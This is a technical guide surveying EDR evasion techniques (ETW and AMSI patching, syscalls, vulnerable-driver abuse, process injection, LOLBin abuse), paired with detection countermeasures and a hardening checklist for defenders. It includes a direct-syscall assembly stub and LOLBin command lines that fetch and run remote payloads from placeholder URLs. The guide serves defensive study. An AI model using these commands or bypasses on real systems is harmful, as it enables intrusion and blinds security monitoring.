EDR Bypass Techniques in 2026: How Modern Threats Evade Endpoint Defenses

Introduction

EDR (Endpoint Detection and Response) is the workhorse of modern endpoint security — CrowdStrike Falcon, Microsoft Defender for Endpoint, SentinelOne, Palo Alto Cortex XDR, and a long tail of regional players. By 2026, EDR coverage is the default assumption in any mature enterprise. Yet incident retrospectives continue to show attackers bypassing EDR with techniques that have been documented in research for years, and a steady stream of new evasions emerges every quarter.

This guide is a technical survey of the bypass landscape for blue-team defenders and red-team operators alike. Understanding how attackers evade EDR is the prerequisite for tuning detection logic, hardening configuration, and choosing layered controls that compensate for endpoint blind spots.

Scope and ethics. This guide is descriptive of publicly documented techniques and is intended for defenders, authorised red-team engagements, and CTF practitioners. We do not provide weaponised code; we link to published research where appropriate.

Background: How EDR Sees the World

A modern EDR agent observes endpoint behaviour through multiple sensor layers:

• Kernel callbacks — Windows kernel registration for process creation (PsSetCreateProcessNotifyRoutine), thread creation, image load, and registry change.
• Minifilter drivers — file-system I/O observation via the Filter Manager.
• ETW (Event Tracing for Windows) — subscriptions to TI (threat intelligence), DNS, AMSI, .NET, and other providers.
• API hooking — user-mode hooks placed in ntdll.dll or Win32 APIs to inspect call arguments.
• AMSI (Antimalware Scan Interface) — in-process callback that submits buffers to a registered scanner.
• Memory scanning — periodic or trigger-driven walks of process memory looking for known patterns (Cobalt Strike beacons, Sliver implants).
• Behaviour analytics — cloud-side correlation of telemetry across hosts and across customers.

Each layer has documented evasion techniques. A sophisticated attacker chains multiple bypasses to defeat the composite sensor stack.

Theory: The Bypass Taxonomy

EDR bypass techniques cluster into seven categories:

1. Sensor disruption — disable, unhook, or blind the EDR’s sensors before performing detected behaviours.
2. API resolution and direct syscalls — bypass user-mode hooks by calling the kernel directly without traversing hooked DLLs.
3. BYOVD (Bring Your Own Vulnerable Driver) — load a signed-but-vulnerable kernel driver to terminate the EDR process.
4. Process and module proxying — perform malicious actions inside the address space of a trusted process (PPID spoofing, process hollowing, module stomping).
5. Living-off-the-land — use built-in Windows binaries (LOLBins) that EDR is reluctant to alert on for fear of false positives.
6. Encrypted in-memory payloads — decrypt and run code only at the point of execution, with the disk artefact benign.
7. Cloud and telemetry evasion — ensure EDR cloud uplink is broken or filtered before performing high-signal actions.

Technical Deep Dive: ETW Patching

EDR products subscribe to ETW providers to receive telemetry on .NET execution, AMSI scans, DNS queries, and threat-intelligence events. The ETW provider stack relies on a single in-process function: EtwEventWrite in ntdll.dll.

The bypass: patch the first instruction of EtwEventWrite to ret. All subsequent calls return immediately without emitting events. The EDR’s ETW-based detections go dark for that process.

Detection countermeasure: monitor for unexpected modifications to ntdll.dll memory pages from ETW provider call sites. Some EDRs ship hash-pinning of critical ntdll exports; periodic verification catches the patch.

Technical Deep Dive: AMSI Bypass

AMSI provides an in-process scan API used by PowerShell, JavaScript engines, .NET, and Office macros. Calling AmsiScanBuffer with a malicious payload returns AMSI_RESULT_DETECTED, and the calling host refuses to execute.

Documented bypasses:

• Patch AmsiScanBuffer to return AMSI_RESULT_CLEAN unconditionally.
• Set amsiInitFailed to true in the .NET AMSI context.
• Hardware-breakpoint hijack of AmsiScanBuffer redirecting to a stub that returns clean.
• Patch the result-buffer pointer post-scan but pre-evaluation.

Detection countermeasure: ETW provider Microsoft-Antimalware-Scan-Interface emits its own events that survive in-process AMSI patching. EDRs that consume this provider catch most patching bypasses.

Technical Deep Dive: Direct Syscalls and Indirect Syscalls

Many EDR products hook commonly-abused functions in ntdll.dll — NtAllocateVirtualMemory, NtCreateThreadEx, NtWriteVirtualMemory. The hooks inspect arguments before forwarding to the real syscall.

Direct syscalls bypass user-mode hooks by emitting the syscall instruction directly:

; Conceptual: load syscall number, execute syscall instruction directly
mov r10, rcx       ; syscall calling convention
mov eax, 0x18      ; syscall number for NtAllocateVirtualMemory (Win11)
syscall
ret

Direct syscalls have a tell: the syscall is invoked from outside ntdll.dll, which a kernel-level callback can detect. Newer EDRs flag this. Indirect syscalls evade this detection by emitting a syscall instruction located inside ntdll.dll via gadget reuse.

Detection countermeasure: kernel callbacks observing syscall return addresses; modern EDRs require the syscall RIP to lie inside ntdll.dll. Indirect syscalls satisfy this and remain effective.

Technical Deep Dive: BYOVD

BYOVD is the most impactful current EDR-defeating technique. Microsoft maintains a vulnerable-driver blocklist; attackers continually find drivers that are signed but not yet on the blocklist. Once loaded, the driver runs in kernel mode and can:

• Suspend or terminate EDR processes via kernel API.
• Unregister EDR kernel callbacks.
• Manipulate kernel data structures (EPROCESS, ETHREAD) to hide processes.

Notable historical examples include RTCore64.sys, aswArPot.sys, procexp.sys, and a long tail of OEM drivers (Dell, ASUS, Gigabyte). The pattern: a hardware vendor’s debugging driver exposes arbitrary kernel-memory read/write, signed years ago, never blocked.

Detection countermeasure: enable Microsoft’s Vulnerable Driver Blocklist (HVCI plus the recommended blocklist), and add the EDR’s own list of denied drivers. WDAC (Windows Defender Application Control) policies that allowlist drivers explicitly are stronger but operationally heavier.

Technical Deep Dive: Process Injection in 2026

Classical process injection (VirtualAllocEx + WriteProcessMemory + CreateRemoteThread) is widely detected. Modern variants:

• Module stomping — load a benign DLL into the target, overwrite its .text section with shellcode, branch into it. The shellcode runs inside a “trusted” module.
• Thread name spoofing — use SetThreadDescription to label the malicious thread with a benign name.
• Early bird APC injection — queue an APC against a thread created in suspended state; the APC fires before the thread’s normal entry point.
• Process Doppelganging / Herpaderping — create a process whose on-disk image hash differs from what is actually executed.
• NTDLL unhooking + reflective DLL loading — restore unhooked ntdll, then load implant code from memory only.

Technical Deep Dive: LOLBin Abuse

Living-off-the-land binaries (LOLBins) are signed Microsoft binaries that perform legitimate functions and can be abused to execute attacker payloads. The LOLBAS project maintains an enumerated list.

Examples consistently abused in 2025-2026 incidents:

• regsvr32 /s /n /u /i:URL scrobj.dll — download and execute a remote scriptlet.
• mshta URL — execute remote HTA.
• msbuild project.csproj — compile and run inline tasks.
• installutil /U evil.dll — invoke uninstall code as SYSTEM.
• certutil -urlcache -split -f URL output — HTTP download.
• WMIC process call create — remote execution.

EDR detection of LOLBin abuse depends on command-line argument analysis. A SIEM correlation rule combining “LOLBin spawned” + “command line contains URL” + “parent is Office app” catches the predominant phishing-to-LOLBin chain.

Practical Implementation: Defender Hardening Checklist

• Enable HVCI (Hypervisor-protected Code Integrity) on all Windows 10/11 endpoints capable of running it. Defeats most BYOVD techniques.
• Enable Microsoft Vulnerable Driver Blocklist (Settings > Windows Security > Device security > Core isolation > Microsoft Vulnerable Driver Blocklist).
• Enable Attack Surface Reduction rules — specifically the LOLBin-related ones (block Office child processes, block executable content from email/web).
• Constrained Language Mode on PowerShell for service accounts.
• WDAC application allowlisting in the highest-risk environments (admin workstations, DCs).
• EDR tamper protection turned on (each vendor has its own setting).
• Block unsigned drivers via Group Policy.
• Monitor for new kernel drivers loaded — Sysmon EventID 6, alert if not in baseline.
• Egress filter to block EDR cloud uplink disruption attempts; if telemetry stops, the host should be considered compromised.

Enterprise Use Cases

Indian banking endpoints. The combination of HVCI + Defender ASR + WDAC for admin workstations is the recommended baseline; without WDAC at the admin tier, BYOVD remains a realistic threat.

Healthcare clinical workstations. Legacy applications often cannot tolerate WDAC. Compensating controls: aggressive network segmentation, application allow-listing at the proxy layer, and 24×7 SOC monitoring of those endpoints.

Manufacturing and OT-adjacent IT. Engineering workstations connecting to OT networks are high-value targets and often run legacy software. Treat them as quarantined zones with EDR + network controls.

Common Pitfalls

• “We have EDR, we are safe.” EDR is necessary, not sufficient. Without hardening, it can be bypassed in a single afternoon by a competent operator.
• Disabled tamper protection. Frequently disabled by IT teams who want to manually update agents; leaves EDR vulnerable to in-place disable.
• Vulnerable driver blocklist never enabled. Default-off on many older Windows builds.
• ASR in audit mode forever. Audit shows what would be blocked; only enforce mode actually blocks.
• No SIEM correlation across endpoint and network. EDR sees the process spawn; network sees the C2 call; only correlated do they tell the full story.

Action Items

• Audit your EDR’s tamper protection setting across the fleet this week.
• Run the Microsoft Defender HVCI Readiness tool and enable HVCI on capable endpoints.
• Switch top three ASR rules from audit to enforce.
• Build a Sysmon rule for new kernel driver load events; baseline; alert on novel drivers.
• Tabletop a BYOVD scenario: how would your SOC detect a kernel driver loaded to suspend your EDR?
• Subscribe to LOLBAS, ProcessMonitor research, and vendor security bulletins to track the bypass landscape.

EDR bypass is an arms race, and the offence has a structural advantage — one new bypass is enough to defeat a million identical defender deployments. Hardening reduces the bypass surface; SOC vigilance closes the residual gap.